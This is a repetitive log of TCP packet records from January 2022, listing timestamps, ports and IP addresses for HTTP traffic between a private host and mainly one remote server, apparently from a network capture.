Jan 14, 2022 01:51:48.623759031 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.623797894 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.623826027 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.623836040 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.623876095 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.623889923 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.623917103 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.623955011 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.623966932 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.623994112 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624031067 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624053955 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624069929 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624108076 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624120951 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624145031 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624182940 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624191999 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624222994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624258041 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624295950 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624309063 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624334097 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624370098 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624388933 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624407053 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624444008 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624458075 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624481916 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624484062 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624521017 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624557018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624582052 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624594927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624631882 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624669075 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624682903 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624706984 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624712944 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624743938 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624782085 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624795914 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624819994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624855995 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624866962 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624893904 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624931097 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.624943018 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.624967098 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625005007 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625041008 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625053883 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.625078917 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625086069 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.625118017 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625154018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625165939 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.625191927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625228882 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625236034 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.625264883 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.625310898 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.627769947 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.627810955 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.627847910 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.627871037 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.627885103 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.627927065 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.627934933 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.627965927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628005028 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628046036 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628068924 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628082991 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628089905 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628122091 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628160000 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628196955 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628213882 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628236055 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628274918 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628289938 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628314018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628353119 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628371000 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628391027 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628402948 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628428936 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628467083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628479004 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628503084 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628554106 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628591061 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628603935 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628627062 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628628016 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628654957 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628669024 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628709078 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628716946 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628747940 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628787041 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628810883 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628823042 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628860950 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628878117 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.628900051 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628938913 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628977060 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.628978968 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629014969 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629053116 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629054070 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629093885 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629117966 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629183054 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629221916 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629257917 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629262924 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629313946 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629348993 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629362106 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629386902 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629426003 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629427910 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629466057 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629478931 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629503965 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629539967 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629555941 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.629576921 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.629633904 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.652833939 CET	80	49863	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:48.652987003 CET	49863	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:48.675601006 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675693989 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675734997 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675753117 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.675774097 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675812960 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675843000 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.675851107 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675889969 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675903082 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.675928116 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.675966978 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676007032 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676012039 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676043034 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676081896 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676089048 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676120043 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676127911 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676156044 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676193953 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676199913 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676232100 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676270008 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676282883 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676309109 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676346064 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676352024 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676384926 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676422119 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676457882 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676465034 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676496029 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676533937 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676553965 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676570892 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676579952 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676610947 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676649094 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676661015 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676687956 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676726103 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676762104 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676783085 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676791906 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676800013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676836967 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676875114 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676887989 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.676913023 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676950932 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676987886 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.676995039 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.677025080 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677061081 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677079916 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.677097082 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.677098989 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677135944 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677174091 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677181959 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.677212954 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677248955 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677261114 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.677287102 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.677660942 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.679733038 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.679788113 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.679826975 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.679867029 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.679877043 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.679904938 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.679905891 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.679945946 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.679985046 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680003881 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680021048 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680059910 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680064917 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680098057 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680136919 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680164099 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680177927 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680217028 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680228949 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680254936 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680293083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680334091 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680342913 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680372000 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680409908 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680416107 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680448055 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680449009 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680488110 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680524111 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680535078 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680561066 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680598974 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680608034 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680634975 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680675030 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680680990 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680711985 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680749893 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680763960 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680788994 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680824995 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680862904 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680866957 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680901051 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680937052 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.680948973 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.680975914 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681011915 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681020021 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681047916 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681051016 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681091070 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681126118 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681133032 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681164980 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681201935 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681214094 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681237936 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681276083 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681312084 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681318045 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681349039 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681387901 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681400061 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681422949 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681426048 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681461096 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681499004 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681504011 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.681538105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.681586027 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.696933031 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727380991 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727442026 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727478981 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727519989 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727540970 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727560997 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727581024 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727597952 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727638006 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727679968 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727693081 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727716923 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727730989 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727758884 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727797031 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727830887 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727834940 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727878094 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.727894068 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.727998018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728041887 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728080988 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728095055 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728121042 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728121042 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728158951 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728194952 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728216887 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728233099 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728270054 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728308916 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728317022 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728348017 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728384018 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728395939 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728421926 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728460073 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728471994 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728494883 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728533030 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728544950 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728570938 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728609085 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728621960 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728648901 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728687048 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728709936 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728724957 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728761911 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728770018 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728799105 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728811026 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728837013 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728873968 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728910923 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728925943 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.728950977 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.728986025 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729003906 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.729031086 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729034901 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.729068041 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729104042 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729115009 CET	49867	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:48.729140997 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729177952 CET	80	49867	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:48.729192972 CET	49867	80	192.168.2.3	93.189.42.167
